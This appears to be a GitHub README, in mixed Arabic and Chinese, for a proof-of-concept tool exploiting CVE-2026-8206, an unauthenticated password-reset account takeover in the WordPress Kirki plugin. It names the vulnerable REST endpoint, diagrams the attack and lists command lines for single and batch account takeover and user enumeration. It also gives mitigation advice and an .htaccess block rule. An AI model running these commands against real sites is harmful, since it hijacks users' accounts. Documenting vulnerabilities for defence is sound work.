amnsecurity/CVE-2026-8206-Kirki-WP
GitHub: amnsecurity/CVE-2026-8206-Kirki-WP
针对 WordPress Kirki 插件未授权账户接管漏洞(CVE-2026-8206)的 PoC 利用工具与分析报告。
Stars: 1 | Forks: 0
# 🛡️ AMN SECURITY 🛡️






# 🇸🇦 CVE-2026-8206 - 通过 Kirki 插件接管 WordPress 账户
## 📋 执行摘要
**CVE-2026-8206** هي ثغرة أمنية خطيرة (تصنيف: **9.8 CRITICAL**) توجد في إضافة **Kirki** لنظام إدارة المحتوى **WordPress**. تسمح هذه الثغرة للمهاجمين غير المسجلين (Unauthenticated attackers) بالاستيلاء الكامل على حسابات المستخدمين المسجلين في الموقع المستهدف دون الحاجة إلى أي صلاحيات أو توثيق مسبق.
تستغل الثغرة نقطة نهاية REST API الخاصة بـ **CompLibFormHandler**، حيث يمكن للمهاجم إعادة توجيه رسائل إعادة تعيين كلمة المرور (Password Reset Emails) إلى عنوان بريد إلكتروني يتحكم به المهاجم، مما يمكنه من تعيين كلمة مرور جديدة والدخول إلى الحساب بالكامل.
| الوكيل | القيمة |
|--------|--------|
| CVE ID | CVE-2026-8206 |
| CVSS Score | 9.8 (Critical) |
| المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المنتج | WordPress Kirki Plugin |
| نوع الثغرة | Unauthenticated Account Takeover |
| التسلسل الهرمي | CompLibFormHandler REST API |
| التأثير | استيلاء كامل على الحساب |
## 🔍 漏洞详情
تستغل هذه الثغرة آلية إعادة تعيين كلمة المرور في إضافة Kirki. تقوم الإضافة بتعريض نقطة نهاية REST API تسمح بإرسال طلبات إعادة تعيين كلمة المرور. نظرًا لعدم وجود التحقق المناسب من الملكية أو المصادقة على هذه النقطة، يمكن للمهاجم:
1. **تحديد أي اسم مستخدم مسجل** في موقع WordPress المستهدف
2. **إرسال طلب إعادة تعيين كلمة المرور** إلى نقطة نهاية REST API الضعيفة
3. **توجيه رابط إعادة التعيين** إلى عنوان بريد إلكتروني يتحكم به المهاجم
4. **استلام رابط إعادة التعيين** وتعيين كلمة مرور جديدة
5. **تسجيل الدخول إلى الحساب** باسم المستخدم المخترق
### 受影响组件
- `KirkiComponentLibrary` – المكونة الرئيسية
- `/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password` – نقطة نهاية REST API
- آلية إعادة تعيين كلمة المرور في Kirki
## ⚙️ 攻击机制
```
┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Attacker │ │ WordPress Site │ │ Attacker Email │
│ (Unauth) │ │ (Kirki Plugin) │ │ │
└────────┬────────┘ └────────┬─────────┘ └────────┬─────────┘
│ │ │
│ 1. Scan for Kirki │ │
│ forms & extract nonce│ │
├──────────────────────►│ │
│ │ │
│ 2. POST reset req │ │
│ (username + attacker │ │
│ email) │ │
├──────────────────────►│ │
│ │ │
│ 3. Server processes │ │
│ request without auth │ │
│ verification │ │
│ │ │
│ 4. Reset link sent │ │
│ to attacker email ├────────────────────────►│
│ │ │
│ 5. Click reset link │ │
│ & set new password │ │
├──────────────────────►│ │
│ │ │
│ 6. Log in as victim │ │
│ account takeover ✔ │ │
├──────────────────────►│ │
```
## 🛠️ 工具使用
### 依赖要求
```
pip install requests beautifulsoup4
```
### 接管单个账户
```
python3 CVE-2026-8206.py https://target-site.com -u admin -e attacker@gmail.com
```
### 针对多个账户
```
python3 CVE-2026-8206.py https://target-site.com -e attacker@gmail.com --batch users.txt
```
### 用户枚举
```
python3 CVE-2026-8206.py https://target-site.com -u admin -e attacker@gmail.com --enumerate
```
### 显示详细输出
```
python3 CVE-2026-8206.py https://target-site.com -u admin -e attacker@gmail.com -v
```
### 可用选项
| الخيار | الوصف |
|--------|-------|
| `target` | رابط الموقع المستهدف (مطلوب) |
| `-u, --username` | اسم المستخدم المستهدف للاستيلاء (مطلوب) |
| `-e, --email` | البريد الإلكتروني للمهاجم لاستلام رابط إعادة التعيين (مطلوب) |
| `-v, --verbose` | إظهار المخرجات التفصيلية |
| `--enumerate` | تعداد مستخدمي WordPress |
| `--batch FILE` | استيلاء جماعي من ملف |
| `--delay SECONDS` | تأخير بين الطلبات (الافتراضي: 1 ثانية) |
## 🛡️ 修复措施
لحماية موقعك من هذه الثغرة، يُوصى باتخاذ الإجراءات التالية:
1. **تحديث إضافة Kirki** إلى أحدث إصدار فوراً
2. **تعطيل الإضافة** مؤقتاً إذا لم يتوفر تحديث
3. **مراجعة سجلات WordPress** للكشف عن أي نشاط مشبوه
4. **تغيير كلمات مرور جميع المستخدمين** كإجراء احترازي
5. **تفعيل المصادقة متعددة العوامل (MFA)** لجميع الحسابات الإدارية
6. **استخدام جدار حماية WordPress** (مثل Wordfence) لمنع الطلبات الضارة
7. **مراقبة نقاط نهاية REST API** بحثاً عن أي نشاط غير مصرح به
### 通过 `.htaccess` 进行预防性措施
```
RewriteEngine On
RewriteCond %{REQUEST_URI} ^.*KirkiComponentLibrary.* [NC]
RewriteCond %{REQUEST_METHOD} POST
RewriteRule ^.*$ - [F,L]
```
## ⚠️ 免责声明
هذه الأداة مقدمة للأغراض التعليمية والبحثية فقط. استخدام هذه الأداة لاستهداف أنظمة بدون إذن صريح هو غير قانوني ويعتبر انتهاكاً للقوانين المحلية والدولية. أنت المسؤول الوحيد عن استخدامك لهذه الأداة. المستخدم يتحمل كامل المسؤولية عن أي عواقب قانونية أو أضرار ناتجة عن سوء الاستخدام.
# 🇬🇧 CVE-2026-8206 - Kirki WordPress 插件未授权账户接管
## 📋 执行摘要
**CVE-2026-8206** 是在 **Kirki WordPress 插件**中发现的一个严重安全漏洞(CVSS:**9.8 CRITICAL**)。此漏洞允许**未经身份验证的攻击者**对任何已注册的 WordPress 用户执行完整的**账户接管**,而无需任何事先身份验证或权限。
该漏洞存在于 **CompLibFormHandler REST API endpoint** 中,攻击者可以操纵密码重置请求,将密码重置邮件重定向到攻击者控制的电子邮件地址。一旦拦截了重置链接,攻击者就可以设置新密码并获得对被破坏账户的完全访问权限。
| 字段 | 值 |
|-------|-------|
| CVE ID | CVE-2026-8206 |
| CVSS Score | 9.8 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Product | WordPress Kirki Plugin |
| Vulnerability Type | Unauthenticated Account Takeover |
| Attack Vector | CompLibFormHandler REST API |
| Impact | Complete Account Takeover |
## 🔍 漏洞详情
此漏洞利用了 Kirki 插件内的密码重置机制。该插件暴露了一个处理密码重置请求的 REST API endpoint。由于此 endpoint 上缺乏足够的授权检查和所有权验证,攻击者可以:
1. **识别目标 WordPress 网站上任何已注册的用户名**
2. **向易受攻击的 REST API endpoint 构造密码重置请求**
3. **将重置链接重定向**到攻击者控制的电子邮件地址
4. **接收重置链接**并为受害者的账户设置新密码
5. **登录**为被攻陷的用户
### 受影响的组件
- `KirkiComponentLibrary` – 核心组件
- `/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password` – REST API endpoint
- Kirki 密码重置机制
## ⚙️ 攻击流程
```
┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Attacker │ │ WordPress Site │ │ Attacker Email │
│ (Unauth) │ │ (Kirki Plugin) │ │ │
└────────┬────────┘ └────────┬─────────┘ └────────┬─────────┘
│ │ │
│ 1. Scan for Kirki │ │
│ forms & extract nonce│ │
├──────────────────────►│ │
│ │ │
│ 2. POST reset req │ │
│ (username + attacker │ │
│ email) │ │
├──────────────────────►│ │
│ │ │
│ 3. Server processes │ │
│ request without auth │ │
│ verification │ │
│ │ │
│ 4. Reset link sent │ │
│ to attacker email ├────────────────────────►│
│ │ │
│ 5. Click reset link │ │
│ & set new password │ │
├──────────────────────►│ │
│ │ │
│ 6. Log in as victim │ │
│ account takeover ✔ │ │
├──────────────────────►│ │
```
## 🛠️ 使用方法
### 环境要求
```
pip install requests beautifulsoup4
```
### 单个账户接管
```
python3 CVE-2026-8206.py https://target-site.com -u admin -e attacker@gmail.com
```
### 批量账户接管
```
python3 CVE-2026-8206.py https://target-site.com -e attacker@gmail.com --batch users.txt
```
### 枚举用户
```
python3 CVE-2026-8206.py https://target-site.com -u admin -e attacker@gmail.com --enumerate
```
### 详细输出
```
python3 CVE-2026-8206.py https://target-site.com -u admin -e attacker@gmail.com -v
```
### 选项
| Option | Description |
|--------|-------------|
| `target` | 目标 WordPress URL(必填) |
| `-u, --username` | 接管目标的用户名(必填) |
| `-e, --email` | 接收重置链接的攻击者电子邮箱(必填) |
| `-v, --verbose` | 启用详细输出 |
| `--enumerate` | 枚举 WordPress 用户 |
| `--batch FILE` | 从文件进行批量利用(每行一个用户名) |
| `--delay SECONDS` | 请求之间的延迟(默认:1) |
## 🛡️ 修复方案
为了保护您的 WordPress 网站免受此漏洞的影响,请按照以下步骤操作:
1. **更新 Kirki 插件**至最新的修复版本
2. 如果没有可用的补丁,请暂时**禁用该插件**
3. **审查 WordPress 日志**以发现任何可疑活动
4. 作为预防措施,**重置所有用户的密码**
5. 为所有管理账户**启用多因素身份验证 (MFA)**
6. **部署 WordPress 防火墙**(例如 Wordfence)以阻止恶意请求
7. **监控 REST API endpoint**以防止未经授权的访问尝试
### `.htaccess` 缓解措施
```
### AMN SECURITY 研究团队
*保护数字世界,逐一消除漏洞。*
标签:CISA项目, PoC, Web安全, WordPress, 暴力破解, 漏洞分析, 蓝队分析, 路径探测, 逆向工具